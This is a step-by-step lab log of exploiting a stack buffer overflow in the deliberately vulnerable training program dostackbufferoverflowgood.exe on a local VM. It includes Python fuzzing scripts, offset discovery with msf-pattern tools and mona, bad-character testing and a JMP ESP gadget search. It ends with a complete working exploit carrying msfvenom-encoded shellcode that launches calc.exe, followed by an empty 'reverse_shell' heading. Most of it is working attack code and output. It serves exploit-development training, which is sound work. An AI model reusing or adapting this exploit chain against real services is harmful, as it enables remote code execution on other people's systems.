stackoverflow

Windows --

```
RUN EXPLOIT BINARY --
ATTACH IMMUNITY --

INITIAL REGISTERES @RUNNING --

EAX 00000000
ECX 00000000
EDX 00000000
EBX 00800000
ESP 0019F294
EBP 0019F2E0
ESI 0041E440
EDI 0041E378
EIP 770CAB5C ntdll.770CAB5C
C 0  ES 002B 32bit 0(FFFFFFFF)
P 0  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 0  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 25B000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00000202 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1


CHECK LISTENER --

20:19:58 cdowns@7242-alpha-reticuli ~ sudo nmap -sT -p 31337 192.168.0.139
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-18 20:20 GMT
Nmap scan report for 192.168.0.139
Host is up (0.00056s latency).

PORT      STATE SERVICE
31337/tcp open  Elite
MAC Address: 08:00:27:04:18:04 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
20:20:28 cdowns@7242-alpha-reticuli ~
```

initial socket test --

```
TEST CONNECTION --

20:25:20 cdowns@7242-alpha-reticuli ~ nc 192.168.0.139
31337
1 ↵
CrickeyCon
Hello CrickeyCon!!!
asdf
Hello asdf!!!
^C
20:25:32 cdowns@7242-alpha-reticuli ~

AUTOMATE --
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

#!/usr/bin/env python
import socket

# target --
```

```
RHOST = "192.168.0.139"
RPORT = 31337

# create socket --
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

# test message --
buf = ""
buf += "autmoated script"
buf += "\n"

# send the buffer --
s.send(buf)

# print sent --
print "Sent: {0}".format(buf)

# recieve data --
data = s.recv(1024)

# print recv --
print "Recv: {0}".format(data)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```

TEST --

```
20:36:51 cdowns@7242-alpha-reticuli 051820191 master python dsofg_conn.py
Sent: autmoated script

Recv: Hello autmoated script!!!

20:36:56 cdowns@7242-alpha-reticuli 051820191 master
```

trigger overflow --

SCRIPT --

```
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

#!/usr/bin/env python
import socket

# target --
RHOST = "192.168.0.139"
RPORT = 31337

# create socket --
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

# test message --
buf = ""
buf += "A"*1024
buf += "\n"

# send the buffer --
s.send(buf)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```

RUN SCRIPT --

CHECK IMMUNITY --

REGISTERS --

```
EAX FFFFFFFF
ECX A92A87EC
EDX 00000000
EBX 004744D0
ESP 007919F0 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBP 41414141
ESI 08041470 dostackb.08041470
```

```
EDI 004744D0
EIP 41414141
C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 0  DS 002B 32bit 0(FFFFFFFF)
S 1  FS 0053 32bit 300000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr WSAENOTSOCK (00002736)
EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
```

msf-pattern-create

```
CREATE PATTERN --

20:59:25 cdowns@7242-alpha-reticuli 051820191 master msf-pattern_create -l 1024 >
pattern_1024.txt
21:03:51 cdowns@7242-alpha-reticuli 051820191 master cat
pattern_1024.txt
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0A
k4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4A
8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay
Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B
21:03:54 cdowns@7242-alpha-reticuli 051820191 master

SPLIT --

21:07:05 cdowns@7242-alpha-reticuli 051820191 master cat pattern_1024.txt | fold -w
64
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3
Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A
i5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7
Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8A
o9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar
0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1
At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A
v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax
4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5
Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6B
b7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd
8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9
Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B
21:07:11 cdowns@7242-alpha-reticuli 051820191 master
```

dsoofg_payload_pattern --

```
SCRIPT --

#!/usr/bin/env python
import socket

# target --
RHOST = "192.168.0.139"
RPORT = 31337
```

```
# create socket --
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

# test message --
# msf-pattern-create -l 1024 > pattern.txt
# cat pattern_1024.txt | fold -w 64
buf = ""
buf += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A"
buf += "c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae"
buf += "2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3"
buf += "Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A"
buf += "i5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak"
buf += "6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7"
buf += "Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8A"
buf += "o9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar"
buf += "0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1"
buf += "At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A"
buf += "v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax"
buf += "4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5"
buf += "Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6B"
buf += "b7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd"
buf += "8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9"
buf += "Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B"
buf += "\n"

# send the buffer --
s.send(buf)

RUN SCRIPT --
OVERFLOW --
GET REGISTERS --

EAX FFFFFFFF
ECX 622825CA
EDX 00000000
EBX 004B44D0
ESP 009C19F0 ASCII
"Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj
EBP 65413765
ESI 08041470 dostackb.08041470
EDI 004B44D0
EIP 39654138
C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 0  DS 002B 32bit 0(FFFFFFFF)
S 1  FS 0053 32bit 2E1000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr WSAENOTSOCK (00002736)
EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
```

notes --

```
EIP == 39654138

CONVERT ONLINE --
https://www.scadacore.com/tools/programming-calculators/online-hex-converter/

OUTPUT --
ASCII == 9eA8

GET EIP OFFSET --

21:18:51 cdowns@7242-alpha-reticuli 051820191 master msf-pattern_offset -q 39654138
```

```
[*] Exact match at offset 146
21:22:55 cdowns@7242-alpha-reticuli 051820191 master

MONA! --

!mona findmsp

Log data, item 23
 Address=0BADF00D
 Message=    EIP contains normal pattern : 0x39654138 (offset 146)

Log data, item 22
 Address=0BADF00D
 Message=    ESP (0x009c19f0) points at offset 150 in normal pattern (length 874)

Log data, item 21
 Address=0BADF00D
 Message=    EBP contains normal pattern : 0x65413765 (offset 142)
```

confirm_offsets --

SCRIPT --

```python
#!/usr/bin/env python
import socket

# target --
RHOST = "192.168.0.139"
RPORT = 31337

# create socket --
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

# total buf(len)
# offset from mona! / msf-pattern-offeset
buf_totalen = 1024
offset_srp = 146

# test offsets --
buf = ""
buf += "A"*(offset_srp - len(buf)) # padding
buf += "BBBB"                # SRP overwrite
buf += "CCCC"                # ESP location
buf += "D"*(buf_totalen - len(buf))      #trailing padding
buf += "\n"

# send the buffer --
s.send(buf)
```

STACK AT CRASH --

```
EAX FFFFFFFF
ECX EABCAD87
EDX 00000000
EBX 004D0930
ESP 007A19F0 ASCII
"CCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
EBP 41414141
ESI 08041470 dostackb.08041470
EDI 004D0930
EIP 42424242
C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 0  DS 002B 32bit 0(FFFFFFFF)
S 1  FS 0053 32bit 334000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr WSAENOTSOCK (00002736)
EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
```

```
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

CONTROL ACHIEVED --
```

bad character tests --

SCRIPT --

```
#!/usr/bin/env python
import socket

# target --
RHOST = "192.168.0.139"
RPORT = 31337

# create socket --
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

# bad chars --
# \x90 ( NOP ) / \x0A ( "\n" )
badchar_test = ""
badchars = [0x00, 0x0A]

# generate sting --
for i in range(0x00, 0xFF+1): # range (0x00, 0xFF) only returns up to 0xFE
              if i not in badchars:       # skip bad chars
                            badchar_test += chr(i)      # append each NON-BAD char into a string

# open file for writing
with open("badchar_test.bin", "wb") as f:
              f.write(badchar_test)

# total buf(len)
# offset from mona! / msf-pattern-offeset
buf_totalen = 1024
offset_srp = 146

# test offsets --
# add badchar_test to payload --
buf = ""
buf += "A"*(offset_srp - len(buf)) # padding
buf += "BBBB"               # SRP overwrite
buf += badchar_test # ESP points here
buf += "D"*(buf_totalen - len(buf))      #trailing padding
buf += "\n"

# send the buffer --
s.send(buf)
```

SEND PAYLOAD --
REGISTERS AT OVERFLOW --

```
EAX FFFFFFFF
ECX 89CD249D
EDX 00000000
EBX 00724A00
ESP 00A119F0
EBP 41414141
ESI 08041470 dostackb.08041470
EDI 00724A00
EIP 42424242
C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 0  DS 002B 32bit 0(FFFFFFFF)
S 1  FS 0053 32bit 2CE000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr WSAENOTSOCK (00002736)
```

```
EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

CHECK BAD CHARS FILE --

22:26:36 cdowns@7242-alpha-reticuli 051820191 master strings
badchar_test.bin
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}
~
22:27:09 cdowns@7242-alpha-reticuli 051820191 master

XXD --

22:27:35 cdowns@7242-alpha-reticuli 051820191 master xxd
badchar_test.bin
00000000: 0102 0304 0506 0708 090b 0c0d 0e0f
1011  ..............
00000010: 1213 1415 1617 1819 1a1b 1c1d 1e1f
2021  .............. !
00000020: 2223 2425 2627 2829 2a2b 2c2d 2e2f 3031  "#$%&'()*+,-./
01
00000030: 3233 3435 3637 3839 3a3b 3c3d 3e3f 4041  23456789:;<=>?
@A
00000040: 4243 4445 4647 4849 4a4b 4c4d 4e4f 5051
BCDEFGHIJKLMNOPQ
00000050: 5253 5455 5657 5859 5a5b 5c5d 5e5f 6061
RSTUVWXYZ[\]^_`a
00000060: 6263 6465 6667 6869 6a6b 6c6d 6e6f 7071
bcdefghijklmnopq
00000070: 7273 7475 7677 7879 7a7b 7c7d 7e7f 8081  rstuvwxyz{|}
~...
00000080: 8283 8485 8687 8889 8a8b 8c8d 8e8f
9091  ..............
00000090: 9293 9495 9697 9899 9a9b 9c9d 9e9f
a0a1  ..............
000000a0: a2a3 a4a5 a6a7 a8a9 aaab acad aeaf
b0b1  ..............
000000b0: b2b3 b4b5 b6b7 b8b9 babb bcbd bebf
c0c1  ..............
000000c0: c2c3 c4c5 c6c7 c8c9 cacb cccd cecf
d0d1  ..............
000000d0: d2d3 d4d5 d6d7 d8d9 dadb dcdd dedf
e0e1  ..............
000000e0: e2e3 e4e5 e6e7 e8e9 eaeb eced eeef
f0f1  ..............
000000f0: f2f3 f4f5 f6f7 f8f9 fafb fcfd
feff        ..............
22:27:41 cdowns@7242-alpha-reticuli 051820191 master
```

!mona compare

```
USE MONA TO COMPARE TWO ITEMS --
THEY SHOULD MATCH AND NOT MODIFIED --

!mona compare -a esp -f C:\Users\IEUser\Downloads\badchar_test.bin

MEMORY COMPARISON RESULTS --

mona Memory comparison results, item 0
 Address=0x009c19f0
 Status=Unmodified
 BadChars=
 Type=normal
 Location=Stack
```

```
CHECK JMP ESP GAGETS --

!mona jmp -r esp -cpb "\x00\x0A"

OUTPUT --

0BADF00D   [+] This mona.py action took 0:00:00.014000
0BADF00D   [+] Command used:
0BADF00D   !mona jmp -r esp -cpb "\x00\x0A"

           ---------- Mona command started on 2019-05-18 16:00:20 (v2.0, rev 585) ----------
0BADF00D   [+] Processing arguments and criteria
0BADF00D       - Pointer access level : X
0BADF00D       - Bad char filter will be applied to pointers : "\x00\x0A"
0BADF00D   [+] Generating module info table, hang on...
0BADF00D       - Processing modules
0BADF00D       - Done. Let's rock 'n roll.
0BADF00D   [+] Querying 1 modules
0BADF00D       - Querying module dostackbufferoverflowgood.exe
73FA0000   Modules C:\Windows\System32\msvcrt.dll
0BADF00D       - Search complete, processing results
0BADF00D   [+] Preparing output file 'jmp.txt'
0BADF00D       - (Re)setting logfile c:\logs\dostackbufferoverflowgood\jmp.txt
0BADF00D   [+] Writing results to c:\logs\dostackbufferoverflowgood\jmp.txt
0BADF00D       - Number of pointers of type 'jmp esp' : 2
0BADF00D   [+] Results :
080414C3     0x080414c3 : jmp esp |  {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False,
SafeSEH: True, OS: False, v-1.0- (C:\Users\IEUser\Downloads\dostackbufferoverflowgood\dostackbufferoverflowgood.exe)
080416BF     0x080416bf : jmp esp |  {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False,
SafeSEH: True, OS: False, v-1.0- (C:\Users\IEUser\Downloads\dostackbufferoverflowgood\dostackbufferoverflowgood.exe)
0BADF00D       Found a total of 2 pointers
0BADF00D
0BADF00D   [+] This mona.py action took 0:00:01.297000
```

verify INT3 RCE --

```
SCRIPT --

#!/usr/bin/env python
import socket
import struct

# target --
RHOST = "192.168.0.139"
RPORT = 31337

# create socket --
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

# total buf(len)
# offset from mona! / msf-pattern-offeset
buf_totalen = 1024
offset_srp = 146

# prtr_jmp_esp
# from: !mona jmp -r esp -cpb "\x00\x0A"
ptr_jmp_esp = 0x080414c3

# test offsets --
# add badchar_test to payload --
buf = ""
buf += "A"*(offset_srp - len(buf)) # padding
buf += struct.pack("<I", ptr_jmp_esp)    # SRP overwrite
buf += "\xCC\xCC\xCC\xCC" # ESP points here
buf += "D"*(buf_totalen - len(buf))      #trailing padding
buf += "\n"

# send the buffer --
s.send(buf)

REGISTERS AT OVERFLOW --
```

```
EAX FFFFFFFF
ECX 36A7DC7A
EDX 00000000
EBX 005EE678
ESP 007D19F0
EBP 41414141
ESI 08041470 dostackb.08041470
EDI 005EE678
EIP 007D19F1
C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 0  DS 002B 32bit 0(FFFFFFFF)
S 1  FS 0053 32bit 31B000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr WSAENOTSOCK (00002736)
EFL 00000286 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

INT3 CHECK --

007D19F1   CC              INT3
007D19F2   CC              INT3
007D19F3   CC              INT3
007D19F4   44              INC ESP
007D19F5   44              INC ESP
007D19F6   44              INC ESP
007D19F7   44              INC ESP
007D19F8   44              INC ESP
007D19F9   44              INC ESP
007D19FA   44              INC ESP
007D19FB   44              INC ESP
007D19FC   44              INC ESP
007D19FD   44              INC ESP
007D19FE   44              INC ESP
007D19FF   44              INC ESP
007D1A00   44              INC ESP
007D1A01   44              INC ESP
007D1A02   44              INC ESP
007D1A03   44              INC ESP
007D1A04   44              INC ESP
007D1A05   44              INC ESP
007D1A06   44              INC ESP
007D1A07   44              INC ESP
007D1A08   44              INC ESP
007D1A09   44              INC ESP
007D1A0A   44              INC ESP
007D1A0B   44              INC ESP
007D1A0C   44              INC ESP
007D1A0D   44              INC ESP
007D1A0E   44              INC ESP
007D1A0F   44              INC ESP

VERIFIED !!!!
NEXT WILL BE VALID PAYLOAD --
```

exec calc --

```
MSFVENOM --

23:20:34 cdowns@7242-alpha-reticuli 051820191 master msfvenom --list payloads | ag 'windows/
exec'
    windows/exec                                       Execute an arbitrary
command
23:20:53 cdowns@7242-alpha-reticuli 051820191 master
```

```
CREATE PAYLOAD --

23:25:15 cdowns@7242-alpha-reticuli 051820191 master msfvenom -p windows/exec -b '\x00\x0A' -f python -v sc
CMD=calc.exe EXITFUNC=thread
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the
payload
[-] No arch selected, selecting arch: x86 from the
payload
Found 11 compatible
encoders
Attempting to encode payload with 1 iterations of x86/
shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220
(iteration=0)
x86/shikata_ga_nai chosen with final size
220
Payload size: 220
bytes
Final size of python file: 1042
bytes
sc =
""
sc +=
"\xb8\xab\xf7\x10\x25\xda\xda\xd9\x74\x24\xf4\x5e\x33"
sc +=
"\xc9\xb1\x31\x31\x46\x13\x83\xc6\x04\x03\x46\xa4\x15"
sc +=
"\xe5\xd9\x52\x5b\x06\x22\xa2\x3c\x8e\xc7\x93\x7c\xf4"
sc +=
"\x8c\x83\x4c\x7e\xc0\x2f\x26\xd2\xf1\xa4\x4a\xfb\xf6"
sc +=
"\x0d\xe0\xdd\x39\x8e\x59\x1d\x5b\x0c\xa0\x72\xbb\x2d"
sc +=
"\x6b\x87\xba\x6a\x96\x6a\xee\x23\xdc\xd9\x1f\x40\xa8"
sc +=
"\xe1\x94\x1a\x3c\x62\x48\xea\x3f\x43\xdf\x61\x66\x43"
sc +=
"\xe1\xa6\x12\xca\xf9\xab\x1f\x84\x72\x1f\xeb\x17\x53"
sc +=
"\x6e\x14\xbb\x9a\x5f\xe7\xc5\xdb\x67\x18\xb0\x15\x94"
sc +=
"\xa5\xc3\xe1\xe7\x71\x41\xf2\x4f\xf1\xf1\xde\x6e\xd6"
sc +=
"\x64\x94\x7c\x93\xe3\xf2\x60\x22\x27\x89\x9c\xaf\xc6"
sc +=
"\x5e\x15\xeb\xec\x7a\x7e\xaf\x8d\xdb\xda\x1e\xb1\x3c"
sc +=
"\x85\xff\x17\x36\x2b\xeb\x25\x15\x21\xea\xb8\x23\x07"
sc +=
"\xec\xc2\x2b\x37\x85\xf3\xa0\xd8\xd2\x0b\x63\x9d\x3d"
sc +=
"\xee\xa6\xeb\xd5\xb7\x22\x56\xb8\x47\x99\x94\xc5\xcb"
sc +=
"\x28\x64\x32\xd3\x58\x61\x7e\x53\xb0\x1b\xef\x36\xb6"
sc +=
"\x88\x10\x13\xd5\x4f\x83\xff\x34\xea\x23\x65\x49"
23:26:30 cdowns@7242-alpha-reticuli 051820191 master

METASM --
0x10 = 16 bytes

CONVERSION TABLE --
Decimal       Octal         Hexadecimal   Binary
16            /020          0x10          0 0 0 1   0 0 0 0

23:26:30 cdowns@7242-alpha-reticuli 051820191 master msf-
metasm_shell
type "exit" or "quit" to
quit
use ";" or "\n" for
newline
type "file <file>" to parse a GAS assembler source
file

metasm > sub esp,
0x10
"\x83\xec\x10"
metasm >
quit
23:30:45 cdowns@7242-alpha-reticuli 051820191 master
```

exploit --

```
#!/usr/bin/env python
import socket
import struct

# target --
RHOST = "192.168.0.139"
RPORT = 31337

# create socket --
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

# total buf(len)
# offset from mona! / msf-pattern-offeset
buf_totalen = 1024
offset_srp = 146

# prtr_jmp_esp
# from: !mona jmp -r esp -cpb "\x00\x0A"
ptr_jmp_esp = 0x080414c3

# sub esp 10 --
# metasm > sub esp,
0x10
# "\x83\xec\x10"-
sub_esp_10 = "\x83\xec\x10"

# ghetto way test --
# sub_esp_10 = "\x90"*16

# msfvenom -p windows/exec -b '\x00\x0A' -f python -v sc CMD=calc.exe EXITFUNC=thread
sc =
""
sc +=
"\xb8\xab\xf7\x10\x25\xda\xda\xd9\x74\x24\xf4\x5e\x33"
sc +=
"\xc9\xb1\x31\x31\x46\x13\x83\xc6\x04\x03\x46\xa4\x15"
sc +=
"\xe5\xd9\x52\x5b\x06\x22\xa2\x3c\x8e\xc7\x93\x7c\xf4"
sc +=
"\x8c\x83\x4c\x7e\xc0\x2f\x26\xd2\xf1\xa4\x4a\xfb\xf6"
sc +=
"\x0d\xe0\xdd\x39\x8e\x59\x1d\x5b\x0c\xa0\x72\xbb\x2d"
sc +=
"\x6b\x87\xba\x6a\x96\x6a\xee\x23\xdc\xd9\x1f\x40\xa8"
sc +=
"\xe1\x94\x1a\x3c\x62\x48\xea\x3f\x43\xdf\x61\x66\x43"
sc +=
"\xe1\xa6\x12\xca\xf9\xab\x1f\x84\x72\x1f\xeb\x17\x53"
sc +=
"\x6e\x14\xbb\x9a\x5f\xe7\xc5\xdb\x67\x18\xb0\x15\x94"
sc +=
"\xa5\xc3\xe1\xe7\x71\x41\xf2\x4f\xf1\xf1\xde\x6e\xd6"
sc +=
"\x64\x94\x7c\x93\xe3\xf2\x60\x22\x27\x89\x9c\xaf\xc6"
sc +=
"\x5e\x15\xeb\xec\x7a\x7e\xaf\x8d\xdb\xda\x1e\xb1\x3c"
sc +=
"\x85\xff\x17\x36\x2b\xeb\x25\x15\x21\xea\xb8\x23\x07"
sc +=
"\xec\xc2\x2b\x37\x85\xf3\xa0\xd8\xd2\x0b\x63\x9d\x3d"
sc +=
"\xee\xa6\xeb\xd5\xb7\x22\x56\xb8\x47\x99\x94\xc5\xcb"
sc +=
"\x28\x64\x32\xd3\x58\x61\x7e\x53\xb0\x1b\xef\x36\xb6"
sc += "\x88\x10\x13\xd5\x4f\x83\xff\x34\xea\x23\x65\x49"

# assemble payload --
buf = ""
buf += "A"*(offset_srp - len(buf)) # padding
buf += struct.pack("<I", ptr_jmp_esp)    # SRP overwrite
buf += sub_esp_10 # ESP points here
buf += sc # calc payload
```

```
buf += "D"*(buf_totalen - len(buf))      #trailing padding
buf += "\n"

# send the buffer --
s.send(buf)

WORKS LIKE A TOP !!!
```

reverse_shell

```
